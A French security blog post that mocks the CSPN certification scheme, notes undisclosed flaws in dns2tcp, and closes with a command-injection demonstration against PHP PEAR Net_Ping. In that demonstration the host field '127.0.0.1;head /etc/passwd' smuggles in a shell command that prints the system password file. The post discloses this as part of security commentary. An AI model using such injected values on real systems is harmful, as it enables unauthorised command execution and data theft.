Ceci n'est pas du sport ...

... mais ça pourrait le devenir.

Et oui, pour les béotiens qui confondent Evaluation et Certification, sachez que ESPN est un site sportif de premier plan, tandis que CSPN est une nouvelle initiative du gouvernement français.

Qu'ils soient pardonnés, car il n'est pas facile de s’y retrouver dans la profusion d'annonces autour de la "sécurité" (telles que la plateforme Internet Signalement ou les gesticulations autour de la loi HADOPI).

L’objectif de la Certification Sécurité de Premier Niveau est louable : il s’agit de vérifier que des fonctions de sécurité essentielles sont assurées par un produit d’usage courant, en temps et en budget contraint – d’aucun parlerait de certification "agile", par opposition aux évaluations de type Critères Communs. Ces dernières ne sont praticables que sur des systèmes très contraints, toute autre tentative étant vouée à l’échec.

Bien entendu, on peut débattre à l’envi des conditions dans lesquelles cette certification a été mise en œuvre. Par exemple tous les CESTI sont automatiquement devenus évaluateurs potentiels pour la CSPN. On conçoit mal qu’un laboratoire capable de délivrer une certification EAL4 à un VPN ne puisse pas vérifier la solidité du chiffrement de WinZip. Mais on imagine quand même que le processus de certification Critères Communs, impliquant une forte coopération de l’éditeur, est assez différent d’une évaluation de 20 jours parfois sans accès au code source.

Les premiers résultats de cette certification étant tombés, on peut également être surpris par le choix des produits certifiés : Trango Hypervisor, Blancco Data Cleaner, et TrueCrypt. Si le choix de ce dernier est assez logique, les deux premiers sont quasi-inconnus et bénéficient d’une publicité d’enfer via un site institutionnel, qu'ils ne se privent pas d'exploiter - le tout pour une somme assez modique (20 jours de consultant). Trango venant d'être racheté par VMWare, et Blancco étant une société Finlandaise, on ne voit pas trop l'intérêt pour la DCSSI de s'engager dans cette voie.

Parmi les détails amusants, on notera la référence à FrSIRT (page 16) comme portail de référence (son propriétaire n’ayant pourtant pas toujours été en odeur de sainteté dans les sphères gouvernementales) – et on notera aussi que Sogeti n’a pas rendu son rapport définitif. C’est probablement comme le SSTIC – il y a du rab’ pour ceux qui galèrent avec Latex :)

Bien entendu, le challenge consiste maintenant à mettre en défaut la certification d’un produit, malgré l’avertissement chapeau assez explicite :
"La certification ne constitue pas en soi une recommandation du produit par la Direction centrale de la sécurité des systèmes d’information (DCSSI), et ne garantit pas que le produit certifié soit totalement exempt de vulnérabilités exploitables."

Dans la pratique, ça n’est pas aussi simple : les rapports des produits certifiés font déjà état de failles avérées dans certaines configurations. Par exemple le produit d’effacement sécurisé ne sait pas accéder à la zone HPA sur les disques IDE, alors qu’il y parvient sur les disques SATA !

Tout comme pour les critères communs, la certification obtenue doit être replacée dans le contexte de la cible de sécurité. Dans ces conditions, la probabilité de trouver une faille qui aurait échappée au certificateur est beaucoup plus faible.

Et les produits qui échouent lamentablement à passer la certification n'apparaissent nulle part - tout est bien qui finit bien, donc :)

Passons maintenant au jeu de la newsletter, à l’aide du script Python suivant :

fp = open("newsletter52.txt", "ra")
all = fp.readlines()
fp.close()

count = 0
for l in all:
words = l.split(" ")
for w in words:
if ((len(w) == 5) and (w.startswith("270"))):
count = count + 1

print "Score: %d" % count

Verdict: 44. On atteint le high score, mais sans le dépasser !

Vous noterez au passage le laconique :

- Outil : Nouvelle version de l'outil de tunnel sur DNS, dns2tcp v0.4.3.
http://www.hsc.fr/ressources/outils/dns2tcp/index.html.fr

En vérité, il s’avère que les versions 0.4.0, 0.4.1 et 0.4.2 étaient toutes vulnérables à des failles de sécurité, ce que n’indique pas vraiment le site de l’éditeur.

Le scénario est assez classique dans le monde de la sécurité : tout le monde se dit "c’est du sérieux, on peut avoir confiance" ou "quelqu’un a sûrement regardé, puisque c’est Open Source" (sic).

Puis un jour, survient l’integer overflow – et là, c’est le drame. Car cela signifie que ni le développeur, ni sa toolchain n’a connaissance de cette classe d’attaque. Et les bogues n’ont pas manqué de s’enchainer rapidement par la suite.

Il faut dire que le co-auteur de cet outil a été sévèrement châtié : il est désormais assigné à la formation "Développement sécurisé en PHP par la pratique". Personne n’a mérité ça, pas même les mainteneurs Debian.

En parlant de PHP, voici un exemple de code PEAR :

$ cat lol.php

require ("Net/Ping.php");
$count=1;
$host='127.0.0.1';
$ping = Net_Ping::factory();
$ping->setArgs(array('size' => 1, 'count' => $count));
$response = $ping->ping($host);
echo join("\r\n", $response->getRawData());
?>

$ php5 -f lol.php
PING 127.0.0.1 (127.0.0.1) 1(29) bytes of data.
9 bytes from 127.0.0.1: icmp_seq=1 ttl=64

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

Et voici ce qu'il m'a fallu 5 minutes pour trouver lors d'un audit quelconque:

$ cat lol.php

require ("Net/Ping.php");
$count=1;
$host='127.0.0.1;head /etc/passwd';
$ping = Net_Ping::factory();
$ping->setArgs(array('size' => 1, 'count' => $count));
$response = $ping->ping($host);
echo join("\r\n", $response->getRawData());
?>

$ php5 -f lol.php
PING 127.0.0.1 (127.0.0.1) 1(29) bytes of data.
9 bytes from 127.0.0.1: icmp_seq=1 ttl=64

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh

Même dans la Livebox, on ne trouve plus ce genre de faille !


« Depuis que PHP a été inventé, je n’ai plus besoin de remplir mes rapports avec ‘le routeur a répondu à ICMP Timestamp’ ou ‘le serveur autorise la méthode non sécurisée TRACE’ » -- various pentesters.